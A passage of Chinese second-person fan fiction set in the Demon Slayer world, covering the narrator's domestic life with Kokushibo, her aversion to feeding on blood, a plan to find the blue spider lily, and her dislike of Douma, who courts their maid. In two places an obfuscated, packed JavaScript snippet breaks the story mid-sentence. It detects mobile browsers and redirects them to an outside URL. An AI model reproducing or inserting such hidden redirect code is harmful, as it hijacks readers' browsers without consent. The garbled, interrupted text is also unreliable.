不行,大脑有它自己的想法,记忆的串联像脚踩香蕉皮一溜到底,你面红耳赤,环抱着膝盖坐下来,头埋进去。 其实那个时候,你是没打算和他继续胡闹的。可黑死牟望着你的眼神是那么恳切,他抚摸的力度也很轻,索取的语调也透着小心翼翼,不知何故,你感到那一刻他甚至是不安脆弱的,就心一软答应了。 结果,结果!和风细雨与惊涛骇浪竟然可以只间隔几秒,真是大意了。他那样兴奋无度近乎失控的样子,简直和平时,也和刚刚告一段落的温情时刻判若两人,现在想起来也心有余悸。 你恨恨咬住了嘴唇,下定决心绝不会让他再得逞。 “我出去一下。”你故意大声地说,一溜烟跑到外边合上门,跑出宅院,埋头冲向镇子的方向。 你游荡在街道上,只要不回去,哪里都看着有意思。 逛了小半天,你翻遍了书店上新的所有读物,在杂志的封底发现了出版社的试译稿,默默记下来。然后跟老板订购了三种不同的文艺杂志,买了笔记本、钢笔、墨水,在心里制定好了至少一年的学习工作计划。 接下来,你要读书、提高英语水平、想办法学习新东西、赚钱,让知识的神圣光辉重新占领思维高地,把那些下流的想法挤出去。 很好,就这么干。 你拍拍脑门,决定再找人打听一下哪里能买到乐器,吹竖笛陶冶情操也是不错的选择。 你一路胡思乱想,街上亮起来路灯,行人越来越少。再溜达下去,会被当作可疑的人吧? 再不甘愿,你也只能磨磨蹭蹭往回走。 这会儿,黑死牟在做什么呢?徘徊在院门外,你有点不敢进去。几次鼓起勇气,手又缩了回来。 也许他出去了呢?你咬咬牙,推开了门。 黑死牟穿过走廊停在玄关外,目光移过来,他明显刚练外剑,衣襟微微敞开,刀还没有收入鞘中。 “回来了?”他语气平淡地打招呼。 你的犹豫、纠结忽然间就抛到了爪哇国,甚至奇怪怎么会有那样的情绪。 “嗯,回来了。”你小步跑到他的身边。 35.第 35 章 水龙头哗啦啦地流着,你捧起清水扑到脸上,一下又一下,带走那里燥热的感觉。 黑死牟过来,帮忙撩起你脖子后面的头发,免得沾湿了不舒服。等你用毛巾擦干净,又漱完口,才放下来,看着你收拾自己。 你如今穿和服很利索了,就是腰带上面的结还需要再练习。但你不好意思求助,低头自己整理,毕竟黑死牟穿的马乘袴比这复杂多了。 最晚你尝试把它解下来,结果弄得两个人都大汗淋漓。想到这里,你的手指开始发软,好半天才理平整,禁不住长舒一口气。 黑死牟没有注意到,他摸摸你垂下来的发丝提出要求:“帮我绑头发,好吗?” “好。”你把他长长的头发梳顺拢好,手握着发带不知道下一步该怎么做。 想了想,你弯下腰张嘴咬住发带的一端,另一端在发顶缠绕几圈,拉紧了才松开口,握住两端打结固定,就像这么做过很多次了。 好了。你满意地欣赏自己的作品,对着镜子里的他微笑。 但黑死牟不看镜子,他回首视线落在你垂在他肩膀的手上,抬手将它握住。你的脉搏在他的掌心有力地跳动,一下又一下,那是心脏将血液泵至全身的强大搏动,无限的生机由此生发。 他还记得你在大量失血后变得很轻很轻,抱在怀中像搂着一张纸,一点点力气就会弄坏,他整夜地合不了眼,担心那若有若无的呼吸下一秒就会彻底断绝。 你真的有被救回来吗?他很怀疑。病榻上的那个人黯淡、苍白,如亡者的一缕幽魂,而不是他活生生的妻子。 还是家主继国岩胜的黑死牟,在不同场合听不同人称赞过继国夫人秀颀优雅,他对此并没有什么感悟。他眼里你始终纤细娇小得可怜,非要说的话,也只是比别家的夫人活泼好动一点罢了。 可那些远路都走不了的夫人们接二连三地生孩子,你却再也不能开开心心地问他去哪里玩了。黑死牟想,人总在关键的时刻显出自己真实的质地,你可以在任何情况下站他这一边,而他,四百多年前初次直面恶鬼的短短几秒,验证出他的懦弱无能,不能发现母亲的病是这样,放任缘一跑掉也是这样。 可没有人怪过他,包括你。无论是长久昏迷后陷入谵妄,还是醒来回忆,你都只是后怕当时的惊险,没有一丝一毫的怨怼。 你总是体谅了他的所有,可在黑死牟心里,目睹自己天性中的黑暗才是真正的阴影,时间冲刷不掉它们,只会越来越大,直到占满整个内心。 重来一回也是如此,你死在他面前,共有两次,这全都是他的错。 只有极端的亲密可以覆写你留下的脆弱濒死的印象,他捏紧你的手腕一再确认,这同几日来的痴缠厮磨,还有昨夜廊下的怀抱感受相同,你朝气蓬勃,属于鬼的旺盛生命力就蕴藏在肌肤下,洋溢在生动的表情里。 他终于驱走死亡的阴影,将你从彼岸拉了回来。 “还要我做什么吗?”你问,拉拉他的高马尾,配合地俯下身,由他将整张脸埋进你的手掌。 “没有了。”他说。 你没有想到适应是如此简单的事情,可能人天生就是容易习惯的生物,也有可能鬼就是这么强悍。 总之,你重新建立起人生的秩序,里面只多一个黑死牟。 那些猜想中的事全都没有发生,你才悟到爱人并不麻烦,接纳一个人进入自己的生活绝非消耗,而是解开束缚,任由一切自然地发生,流淌过你的生命,不知所起。 你原谅了那些笨嘴拙舌的作家,明白人力有时尽,身处爱中的人也会不知如何表达,寄希望于云遮雾绕的言语,和意味不明的肢体动作。 你们在游戏般的玩闹里复归到孩童的天真亲呢,可以什么都不在意,什么都不去想。 好吧,吃饭的事还是得想一想的。 你对饮用鲜血的排斥感从未消失过,每当感到身体里升起进食的冲动,目光时不时黏在黑死牟的血管上,你就忍不住地自我厌弃、情绪低落。饥饿还算次要的,你受不了的是整个人完全被食欲操控,仿佛自己不再是自己。 你从未停止过私底下对食物偷偷的尝试,只有极少数不会让你第一时间就吐出来,但这没有意义,因为它们已不再具有食物的基本价值——供能。现在的你,只需要鲜血。 还好,填饱肚子所要的血量并不多,每次几口就够了。经过长时间精确地计算、控制,你尽量维持在一年一次这个频率,只许低不许高,这已是你在保持自我和维系生命之间能找到的最佳平衡。 可即便是如此,也无法摆脱饱食的满足退去后立即袭来的厌恶。你持续地抑郁,躺倒在榻上什么都不想做,同类相食令你痛苦,突破二十多年人类底线的冲击感仍像第一次那般强烈。 这是爱情也无法抵达、治愈的角落,真遗憾。 黑死牟收回了手臂,鼓胀的血管平复下去,上面的伤口马上愈合。 “好些了吗,”他问,“要看书吗,我帮你拿过来。” 你摇头,懒洋洋地趴下去,合上眼睛。 “我想睡一会儿。” 鬼需要的睡眠很少,但不是没有,至少你是这样的,睡意常常突如其来,你头小鸡啄米似的一点一点。 吃饱了想睡觉,很正常吧?你从他的反应中看出这并不正常。不知道这个位面的吸血鬼有没有发展出自己的医学,要按人类的说法,你这是属于神经性厌食症吧,心理因素导致的慢性进食障碍。 虽然你没有体重方面的追求,但食欲引发强烈恐惧感这点是一致的,所以,穿越转换物种不可能没有后遗症。 记得刚醒过来,你还在想鬼会不会有心理疾病,没想到自己就是典型的例子。 他把你抱回房间里盖上被子,鬼不会感到冷,但这个动作已经刻进了骨子。 你头沾上枕头,立即昏沉沉地陷入睡眠,半梦半醒间刚到他的摸你的头发,脸挨过去蹭了蹭。 “就睡一会儿,别担心。” “嗯。”很久他才轻声道。 黑死牟这么做过很多次了吧?或许在你们共同的生活中,他常常要应对你抵触食物然后陷入昏睡的状况,你失去的记忆是否也与之有关呢? 你感到困扰,但也没有很多。没关系的,很多小说都有这种反转套路嘛,因为失忆以为自己穿越了,其实这是早就发生的事。你已经知道了,不会虐的,这次肯定是he! 等等,你刚刚是不是说了“这次”?这次是第几次了呢? 脑子已经转不动了,你熟睡过去。 黑死牟守在床前,直到你发出缓而浅的均匀呼吸,才拿起剑走到屋外。 通透世界里,一切毫无阻碍,他能看到你收缩、舒张的胸廓,肋骨在里面起伏,血液输送氧气。你没什么危险,他是知道的。可有些东西,看到了也不明白,比如头内部紊乱的活动,其他的鬼或人很少有这种情况,即使有也不会像你一样状态明显地波动。 你仍有不能被他掌控的地方,这一认知让黑死牟感到焦躁。 十九世纪的尾巴就这样悄悄溜走,日本迎来浪漫的新世纪。 市面上不断涌现新事物,社会风气也在逐渐开放。你庆幸自己好歹是穿到了近代,女性外出、工作、学习虽然受限,但不是做不到,不然你得憋屈死。 重拾学业比之前想得容易,你掐指一算,这个时代自己妥妥的高级知识分子,前途简直不要太亮。 对于你要找工作的事,黑死牟不理解,但也没有阻止的意思。 这些年,所有晒不着太阳的职业你都想试。体验了一圈回来,舒适区还是宅家里摇笔杆,偶尔再接点家教的活。干累了就歇一会儿,看看书,吹吹竖笛,每当这时,黑死牟就会放心手里的剑或棋子,安静地听着。 这样赚钱速度变慢了,但可以长时间工作弥补了这一点,你化身核动力牛马,钱包快速鼓起。 有了自己的收入,花钱理直气壮多了。你养了几只猫,书架越来越满,房间的样貌也一点点改变:重新通电的灯、窗台下的西式书桌、一把舒服的单人沙发……黑死牟看你劲头十足也来帮忙,淘选少见的舶来品,随你的心意挪动物件。 一番折腾下来,家里已不是完全的传统日式装潢,而是和此时很多的新潮人家一样和洋折衷,一半维持原貌,一半向西方靠拢。你精挑细选购入的新家具,尽量和黑死牟送的椅子风格一致,看起来和谐又美观。 最重要的是,现在你无须跪坐了。感谢时代,你美美享受,还要拉着黑死牟一块,他走进去参观了一圈,问:“这些是合你心意的家具了吗?” “差不多了吧。”你道。你买的不多,但每一个都是需要的,暂时想不出还缺什么了。 “不要差不多,”他有些奇怪的执拗,“还想要什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124390|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你找来。” 你迟钝地感到黑死牟说的似乎不是家具,于是道:“差不多就很好了啊,有缺口才有进步的空间,十全十美就不需要变化了,那才无聊呢。” 这个话术没有说服他,不过成功转移了他的注意力,估计是去琢磨还能怎么“进步”了。 一起生活的几年里,他比你还不喜欢外出,你还有外出到处玩的时候,他几乎就只在家里下棋、练剑,除非“那位大人”相召。 你觉得他的生活过于纯粹,总是专心于一,或许是因为这个,他常显得很紧绷,你有心做出改变,但找不到下手的地方。 黑死牟是视袒露自我为软弱的人。 唉,你多希望有一天,他能活得轻松点。而在那之前,你能做的实在不多。 比如他在做的事,还有“那位大人”。 黑死牟无心让你承担鬼的事务,你也没问,唯一知晓的是,那位大人他委托黑死牟寻找一种叫蓝色彼岸花的植物。 石蒜有这种颜色吗? 你隐约记得,上辈子看过的“以防你没有见过xx”“科普一下xx”小视频好像讲过,自然界中真正含有蓝色素的生物是很少的,只有那啥和那啥啥,啥来着?忘了,反正不是石蒜。 “如果不是你这么认真,我会认为这是一种文学的比喻,”你忍不住对他说,“蓝色彼岸花,听起来足够梦幻飘渺,足够不现实,像是童话书里的奖励,名字就在暗示读者其实它不存在。就是那种,一群小孩历经千辛万苦寻找实现愿望的神奇宝贝,终于到了终点,仙女从天而降告诉他们勇气、坚持和友谊就是最大的宝贝。” 天知道你还是个单纯小学生的时候,看到这种结局有多想吐血。孩子那么努力,给他个真宝贝又能怎么样?所以说起名很重要,一开始就叫石蒜,谁还去找它。 吐槽归吐槽,你还是很想帮黑死牟做点事的。之后,你到书店网罗了好多植物学的书籍,还列了关键词,拜托来家里打扫的小姑娘光子拿着到城里的图书馆借了一大堆回来,一本一本看。 石蒜主产中国,日本,在日本多分布在南部温暖的地区,喜欢阴湿的环境,狭义的石蒜科石蒜属植物二十多种,有白色、乳白、奶黄、金黄、粉红至鲜红色,但就是没有蓝色。 你忽略掉最后一条,拿出写毕业论文的严谨态度,根据地图、地形图、降雨量统计还有气候因素,粗略画了一张石蒜分布图,然后对照更精确的专业地图、区划图、火车时刻表等,标注出一个个区域和搜寻顺序,以及要怎么到达、如何高效率安排行程、这么做的理由等等,最后列上参考文献。 你花了快一个月的时间完成这件事,不分昼夜地赶工,其他事全靠后,写满了一沓纸,才装订好给黑死牟看。 他盯着封皮看了许久。 “这是什么?” “我写的不清楚吗?”你凑过去看,《蓝色彼岸花寻找计划》,每个字都很明白啊。 “我不是说这个,”黑死牟难得捏了一下眉心,“你写它做什么?” “帮你呀,”你理所当然道,“有计划肯定比随便找找效率高,而且这也是一种成果,你可以交上去。” 黑死牟严肃地叫了你的名字,你的腰杆一下子就直了:“我写的哪里不对吗?” 开玩笑,你的学术水平杠杠的,导师都夸呢。万变不离其宗,不信找个植物就搞不定了。 “不是哪里不对,”他放缓了语气向你解释,“但这种东西不适宜交上去,那位大人他,只要结果。” 你听懂了。 “那就是没有帮到你了。”你还是太学生思维了,遇事不决先列个计划表,忘了成熟的社会人/鬼都是看kpi的。真的是,完全是自我感动啊。 “不是的。”他将你揽到膝上,手指穿过你的头发。 “我很感谢你做的这一切。” 总之,生活就这么波澜不惊地过,虽然快到手的学位飞了,但穿越一场你也得到很多,吸血鬼的强大生命力,一个不错的相爱的丈夫,和谐幸福的家庭,喜欢的工作,唯一的缺憾只是患上了进食障碍。 但鉴于你现在的恢复力,不睡觉、不吃饭几乎无影响,营养不良、神经紊乱、暴瘦、脱发等人类的症状根本不会发生,所以这一缺憾似乎也算不上缺憾。 这就是美满的人生了吗?为何你还是会在有的时候感到迷茫和空虚。 36.第 36 章 又一次在进食后深眠,这回你吃得更少,睡得更久。 醒来已是数日后,你揉着眼睛走出房间,摇摇晃晃,去找上次写了一半的东西。 饱腹感在睡梦中平息下去,你的情绪大为好转,都有心情和来打工的小姑娘打招呼了。 “早啊,光子。” 她放下手里的扫帚向你鞠躬:“是下午好,夫人,您今天身体好些了吗?” 这个话题最好不要深入,你嗯嗯啊啊地坐下翻开辞典:“今天要早些走吗,活干不完明天早点来也是一样的,太晚了路上不安全吧。” 你看了一下手表确定时间。 光子笑道:“不会啊,我住得地方很近的,这点儿活也不累,很快就能干完了。夫人您又在写那些西洋人的文字吗?” “嗯,想学的话,我来教你。” “夫人教的假名已经足够了,我开始干活吧。” 你最不耐烦做家务,讨厌到看别人做家务都会觉得她/他一定很累,所以精简一切能精简的东西。黑死牟也不是喜欢给自己添置东西的性子,导致这个家非常的侘寂风,很方便清理。但即便是这样,你们也懒得自己动手,一定要雇人来。 你还是过意不去:“不是说镇上有烟火表演吗,早点去看吧,我给学习班也放假了呢。” “不急,不急。”光子说着说着,手脚麻利地把屋里屋外都收拾好,添完猫粮,才非常可爱地告诉你今晚她要和男朋友一起看烟火。 “真的吗,光子你都有男朋友了啊。”你感慨道。 她刚来的时候还是个半大的小女孩,现在也长成大姑娘了。你知道她父母双亡寄宿在亲戚家,一直在攒钱想要搬出去自己住,于是痛快地涨了当日工资。 “不要告诉别人,这钱就买身新衣服吧,约会要穿得漂漂亮亮才行哦。” “哎,这也太多了,不行的,夫人,我拿我该得的就行了。这里又清闲挣得又多,我可不能再收别的了。” “收下吧,我新发了一笔稿费。”你说完才想到,光子是担心买了新衣服也会被亲戚要走吧。 “要不,试试我的衣服?” “这、这怎么行?” 扭捏许久,她还是换上了一件和服。你隐约记得是前几年黑死牟送的,一直没穿过,淡青底上洒满了百合花,很适合光子这样的少女。就是她的身量不及你,衣摆拖到地上,你帮她折回来掖进腰带。 “漂亮吧?”你问。 黑死牟大概也这么觉得,视线不断扫过来。 光子感到了压力,头摇得像拨浪鼓:“我怎么能拿这么好的衣服?” 你看出她眼中的不舍赶紧摁住:“不许脱,穿走吧,这件我穿不好,这种又清又淡的蓝色就要你这么皮肤白,脸蛋儿红扑扑气色好的姑娘穿。” 你太苍白了,几乎没有血色,应该是变鬼的缘故吧。 经过一番拉扯,光子向你道谢后穿着新衣服高高兴兴地走了。你还把刚买下的自行车借给她,方便她在日落前就能和恋人相会。 她走后你浮想联翩:“光子的男朋友是什么样的呢?” 黑死牟:“没见过,今晚去看焰火吗?” 你忘了,他怎么会留心这个。 “不用了,我的翻译稿快到截止期了。” 自行车贵死了,你全款购入积蓄快掏空了,还是赚钱要紧。再说,上辈子什么烟花、无人机表演没看过呀,你不觉得一个世纪前小镇子上的焰火会有什么特别的。 咻——啪!漆黑的夜空下绽开大朵金黄的火焰,你像个没见识的乡下人兴奋地摇着黑死牟的手。 “好好看哦。” 你错了,对比产生美,古朴简单的小镇上,小小的一点焰火就可以很漂亮了。 “我们再玩会儿,”你意犹未尽,牵着他的手在人群里走来走去,看看漂亮的金鱼,买了一把爆米花拿着玩,工作什么的就拜托明天的自己吧。 “等等,那是不是光子,旁边的是她男朋友吧。”你点起脚尖,被拥挤的人潮推得东倒西歪。 “快帮我看看,快呀。” 黑死磨沉默着,你催促好几回,才慢吞吞地伸出手托在腋下把你往上提了提。 一颗连着一颗的密密麻麻的脑袋中,你先是看到了一抹熟悉的白橡色,然后那颗白橡色的脑袋转了过来,七彩的眼睛隔空冲你眨一眨。 硬了、硬了,拳头硬了。 你忍住冲过去朝人脸上呼巴掌的冲动(主要是实在冲不过去),没好气地抬头道:“别人的男朋友对陌生女性这么做,是不是太轻浮了?” 虽然有自恋的嫌疑,可你就是认为,童磨是在挑衅你。隔着这么多人,你鸡皮疙瘩都起来了。你很少,不如说此前就没有过,讨厌一个人到如此地步。一见到就火大,完全控制不住脾气。 这就是传说中的的八字不合吗?你觉得童磨他一定克你。 “他、他……”你还要指责,但气得说不出话来。 “不要担心,”黑死牟放你下来,“那位大人明令不许上弦聚集,他不会来打扰你。” “可他是光子的男朋友啊!”你抓狂,“光子怎么会看上他!” 这算什么,人鬼情未了吗。你发现自己的价值观其实挺保守的,什么跨物种的爱情,不要啊! “既然不能聚集,让他以后别来了——不行吗?” 看来是不行,你有点泄气。也对,严格的说,童磨没有和他聚集,只是在他的“领地”内逗留而已。 “等哪天‘那位大人’来了,我就去说。”你忍气道。 黑死牟口里的那位大人,你只见过一次。他悄无声息出现在房屋中央,空气里回荡着琵琶声悠悠的余韵,你在看到的瞬间悟出他的身份,得体地退出去,把空间留给了黑死牟。 所以,此鬼脾性、好恶你一无所知,这么说只是无能狂怒罢了。 “不要这样,”黑死牟道,“你对无惨大人的态度不够尊敬。” “我没有不尊敬他啊。”你反驳道。 按他的说法,无惨算是吸血鬼中“老祖宗”级别的人物了,你怎么会不尊敬老祖宗呢?而且,他那么符合你刻板印象中吸血鬼形象:面色苍白、衣冠楚楚、举止优雅。 “你这么想,就很不尊敬他。无惨大人是绝对的力量与绝对的的地位,要对此有充分的认知。”黑死牟无奈道。还好他有预感,提前告诉了你无惨大人的能力,不然无惨会有多生气,他不敢想象。以后,尽量不能让你们照面。 好吧,会读心的鬼你惹不起。 你不得已承认:“我确实没那么尊敬他,因为我就不了解他呀,尊敬、崇拜、憧憬之类的情感不会凭空产生,他要做出配得上的事迹,我才能这样对他。地位由奋斗而来才可贵,强大的力量也要看此人如何使用。单单为这两样就去顶礼膜拜,我很难想象。对于陌生人,礼貌不就够了吗,我一直很有礼貌。” 黑死牟纠正你:“尊卑上下是天定的,地位一旦确立,道德与权责完成了划分,上御下、下尊上不可逾越,否则会秩序混乱造成恶果。” “停,停,停,”你打一个暂停的手势,“我们为什么辩这个,光子的事要怎么办啊。” 怎么可以让抽象的争论掩盖真实的问题,而且这种争不出的对错的事不值得吵,你不觉得吵赢了就能改变他的想法。 人是不可被改变的,鬼也一样吧。 黑死牟卡壳了一会儿。他不希望你介入这件事,童磨的那些小爱好他有所耳闻,今天虽然是第一次目睹,但足以看出论人生的经验和心理的把握,童磨碾压常人,光子不可能逃得掉。 当初雇佣她,是因为觉得女性会比较和你有共同语言。有人陪着说话,你的心情会好一些,这样看来以后还是雇小男孩吧。 不过,警告必须要有,童磨从茫茫人海中精准锁定光子,用意不言而喻。 于是他道:“你想解气的话,怎样都可以,我的刀给你用,他不会反抗的。” 什么?你吓一跳赶紧摇头:“别吧,谈个恋爱而已,不至于、不至于。” 黑死牟和你说过许多次,鬼是活在严格阶级中的生物,上位者对下位者的威压几乎是无限的,你对此一直没有实感,现在却好像隐隐摸到了边。 “我是很讨厌他没错,”你闷闷不乐,“但仅仅因为讨厌就要施加暴力,这是不对的。” 说到这里,你更讨厌童磨了,不仅是因为他的言谈、举止甚至神态都让你看不惯,更可怕的是他只是存在就激发出你内心的恶。黑死牟给出提议时,真的有那么一秒,你想过把刀插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131264|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进他的身体里,就像刚才一见到就想要尖叫踢打。 怎么会这样?你对别人从不如此。什么时候开始,你会有产生这样血腥的想象,是变鬼的影响,还是你原本就有暴力的基因,在新环境中才显现? 温暖的夏夜里,你不寒而栗,再也没有了玩耍的心思。 “我们回去吧。” 黑死牟感受到你的坏心情,手指在肩头轻轻摩挲,给予无声的安慰。 光子推着自行车和男朋友走在河对岸,大片绽放的花火倒映在潺潺的流水上,美不胜收。 光子驻足观看很久,才叹息一声:“真美啊。” “既然这么美丽,为什么要叹气呢,”身边人体贴地递上手帕,“看到美景,大声赞美不就够了吗?” 光子笑笑。 “烟花是很漂亮,但美景只在那一瞬间,马上就消失了,要是有一直不会熄灭的烟花就好了。”她说,“但是,烟花这么漂亮,不就是因为熄灭得很彻底吗?夜空足够黑,火光才会足够绚丽。这样想就会觉得很无奈了。” “是吗,原来是这样啊。”那人很可爱地捧场,弄得她不好意思了。 “其实,这也是夫人教的,”光子说,“夫人讲一切美的形式都存在于对照中。原话复杂得多,我只记得这些了。夫人真好,她懂得真多。” 还有些话光子没说,比如她非常想学弯弯曲曲的西洋文字,看你那些她看不懂的书。我可以变得和夫人一样吗?她总在想。 “嗯,这很像她,”童磨煞有介事地点头,“她就是对什么人都能长篇大论说很多。” “嗯?原来你认识夫人啊。” “我是和她的丈夫,黑死牟阁下比较熟呢。” “哎,那这不就是、这不就是……”光子没说下去。男朋友是可以和她憧憬的人家相熟的人,她感到自己也和夫人亲近许多,因此激动起来。 “这真是太好了。”她由衷道,“我没怎么和先生说过话,不过他一定是很好的人。” “因为夫人?”他好笑道。 “不只是因为这个哦。” 这时,河边的小路沟沟坎坎变多了,光子小心地把自行车提起来,等路面平整了才放下去。 “不用这么紧张吧。” “当然要了,你不知道它多贵。” 夫人借车给她当然是好意,但要是坏了、丢了,两百块打工到下辈子也还不起。不过想起自己骑车到桥下等童磨到来的心情,她便觉得这不过是甜蜜的负担。 “喜欢的话,我也给你买一辆。” “这怎么行!”她赶紧摇头,“太贵重了!我只是偶尔用用就很开心了,用不着买啊。” 童磨摇摇扇子:“太容易满足了吧,都不对我提要求吗?” 他们继续之前的话题。 “那时因为什么呢,我也想做光子心里很好的人。” “那你做不成了,”光子道,“先生好是因为他雇佣了我。” “这么简单?” “才不简单,你不知道镇上有多少人羡慕我能在那么神秘、有钱的家里干活呢。” “神秘?” “童磨你和他们很熟,所以不觉得,可我们……” 光子回忆起来。黑死牟一家在这座不甚繁华的小镇生活很多年了,但大部分人连他们长什么样都不清楚,偶尔有几个调皮的小孩趴在墙头,看到一个和服女人游魂一样的影子映在纸窗上,大着胆子朝她扔石头。 “先生为这事大发雷霆呢,以后就没有人敢这么做了。”光子拍着胸口,心有余悸。 那时她也是个小孩子,邻居家的同伴叫她也去,她胆小,远远地跟在后面,只看到黑死牟迈出大门,光那威严的身姿就把那群人吓得尖叫着四散奔逃。 “我后来才知道,是夫人生了病才会这样,现在她好多了,先生也陪着她常出来,我们都知道他们是很好的人家了。她教我读书写字、骑车,还给我书看,我做梦也想不到会有这么好的工作。” 还不止这些,光子心道。夫人的所作所为给她揭开了全新世界的一角,才只是站在门口就已目眩神迷,每一次到来、打扫、离开,像心里的烟花绽放又熄灭。 “生病吗……”童磨意味不明地笑笑,“我们再去那边看看吧。” 37.第 37 章 你觉得自己最近一定是流年不利,不然怎么到哪里都能碰到童磨。 东京浅草的电影院上映了新的外国片这种目前还十分小众的事,居然能碰上熟人,本该是很快乐的,但这个熟人是童磨。 这时期会光临电影院的人本就不多,你买的还是午夜场,原以为能体验包场的乐趣,谁料刚检完票,就看到了那张讨人厌的脸。 白橡色的发丝打理出精致的弧度,头戴帽子,红色紧身衣,米色条纹裤,更别提那双比玛丽苏还玛丽苏的彩虹眼,从头到脚,哪一点都非常讨厌! 你刚拉下脸,光子就踮脚从他身后探出来:“夫人、先生,你们也在!” 你紧急调整面部表情,估计笑得挺难看,赶紧拉着黑死牟入座了。 擦肩而过,你眉毛打结:这个味道,他是拿酒泡了个澡吗? 找到票对应的位置,你不禁对身边人感慨道:“黑死牟你不喜欢酒,真是太好了。” 影院灯光暗下,配乐响起,周遭的一切远去。这种百年前的电影作品,以后不大可能有完整的胶卷存世,看到就是赚到啊,这是穿越者的福利。你忽略掉刚刚的插曲,轻呼一口气,沉浸其中—— 一颗脑袋凑过来:“这些划船的是什么人啊?” 啊啊啊!你下一秒就要爆炸,黑死牟一个眼神送过去,黑暗中咯吱响了几声,光子也悄悄道“认真看”,他就不插话了。 你甚感欣慰。 几十分钟的剧情一晃而过,默片时代的表演非常依赖演员的肢体表现,这导致放大的银幕上每个人的表情都显得有些夸张,帧数不足又放大了这一点,动作看着变形、奇怪,但是,英雄的史诗自然有其打动人心的力量,起步阶段的电影粗糙但质实,你为激烈的打斗悬心,为欢乐的庆祝动容,在悲剧落幕时落泪,灯亮起还低头擦着眼睛。 光子眼睛也红红的,她接过童磨的手帕感慨:“真好看啊,不过我没有完全看懂,这都是些什么人呢?” 你说:“主角是顿河的哥萨克,他进攻沙皇的使节船,解放了那里的囚犯,宣布人们从此自由。”* 光子:“怎么看出来的啊?” “看多了就知道了。” 光子擦着眼睛:“可这结局也太悲伤了,我还是多看喜剧吧。” 你也有了泪意,刚想说什么,童磨在座位上举起手:“我也有疑问,我我我,看我。” 你:“……” 他视若无睹,翘起二郎腿:“刚来我就想问了,一个人打了一仗,然后失败死了,这个故事的意义是什么?我们为什么要大老远跑过来看它呢?” 自己买的票,来问我?你耐着性子没揭穿他,回答道:“没有意义,没有为什么,我喜欢悲剧。” “这样啊,”他笑眯眯道,“看来我们有相同的爱好呢。” 你心中警铃大作,下意识地就反驳:“不相同,一点儿也不一样!” “哪里不同了?” 知道他在逗你说话,可根本忍不住,好气哟。悲剧和悲剧怎么能是一回事儿?看《动物世界》里的老虎和手无寸铁面对真老虎,一样吗? 你气得绞手指:“我说的是文学的悲剧,人们在观看悲剧的过程中激发怜悯、认同还有对自身的审查,情感因此得到净化,人类需要悲剧。”* 说完,你有些发愣,你为什么第一时间就认为童磨说的是真实存在的人生悲剧呢? 啪啪啪,童磨鼓起掌来:“说得真好,这就是一样的!” 他夸张地擦去泪水:“明白你们的想法了,现在我也好感动!原来我也是这样做的,倾听悲剧,赐给他们认同、怜悯,净化他们的情感,让灵魂得以升华。一直以来我是做着这么必要的工作,太感谢您了,只有您这么告诉我!” 你……你气得要发抖。 黑死牟全程冷静果断带你出去,夜风一吹,满腔的怒火才稍微平息。 离开电影院,你们默契地先送光子走,毕竟是深夜,这儿只有她一个人类。童磨买好票,你把自家钥匙给了她,让她帮忙喂几天猫,也免得回去太晚看亲戚脸色。 车站前,光子千恩万谢,再和男朋友依依惜别,你又开始心梗了。 有没有办法拆散他们啊!质疑王母,理解王母,成为王母,你恨不得在两个人之间划开一条银河。 列车消失在轨道上,童磨还没收回挥舞的手就嬉皮笑脸地回头看你。 “为什么啊,为什么这么反对我和小光子啊。人家很喜欢她的,你未免太狠心了吧。”他展开扇子捂住脸,一副快要哭出来的表情。 你表现得这么明显吗? “少来。”你大跨一步跟躲脏东西似的,现在可以不装了,你的脸冷得能结一层霜,“童磨,别说谎了,你根本不喜欢她。你喜欢过谁呢,一个也没有过吧?” 他也就骗骗光子那种涉世未深的小姑娘罢了,作为一个吃过猪肉还看过很多猪跑的现代人,他的演出实在拙劣。 童磨收回笑容,无聊地把玩扇子:“看出来了啊,但我也没有完全说谎,我是很喜欢陪小光子玩的,这是真心话。” “你喜欢的是玩弄别人吧。”不想再掰扯了,你转身要走。 “呐,你还没有告诉我为什么要看电影呢。”他不见生气,还追着要搭话。 “问问问,一张嘴就知道问,什么都要问别人,自己没有感受吗?” 说完,大踏步离去。 你和黑死牟商量好了,这段时间在东京玩玩,天亮了就找家店留宿。 两个人肩并肩一起走在夜间繁华的街道上,不快消融在热腾腾的烟火气中。 你忘了童磨带来的困扰,兴奋地拉着他看看这个、看看那个。 “对了,黑死牟,你怎么看今天的电影呢?” 他想了一会儿。 “你说的那位主角,战略、战术都有很大的失误,难怪会失败,”黑死牟斟酌着说,“他的攻击看起来也不可信,那种打法是造不成伤害的。” 果然是他会有的感想啊,你笑了。 “这也没办法,真打的话,现在的摄影技术是拍不成的,不过以后就可以了。”你向他解释,“至于主角的失败,那也在所难免,时代没有达成人人可自由的条件,个人的奋斗常常是无力的。但能为这样的理想献身,他并不悲哀。” 你想,悲哀的是我们,至今仍不得自由的我们,但这些话无法开口。 童磨百无聊赖地看着你们连个相依偎的背影走远,收起的扇子有节奏地敲击掌心。 黑死牟居然真的把你当作妻子,这让他非常惊讶。怎么会和打听到的不一样呢?童磨不相信是自己的信源出了问题,毕竟当年那件事,他也是参与者之一。 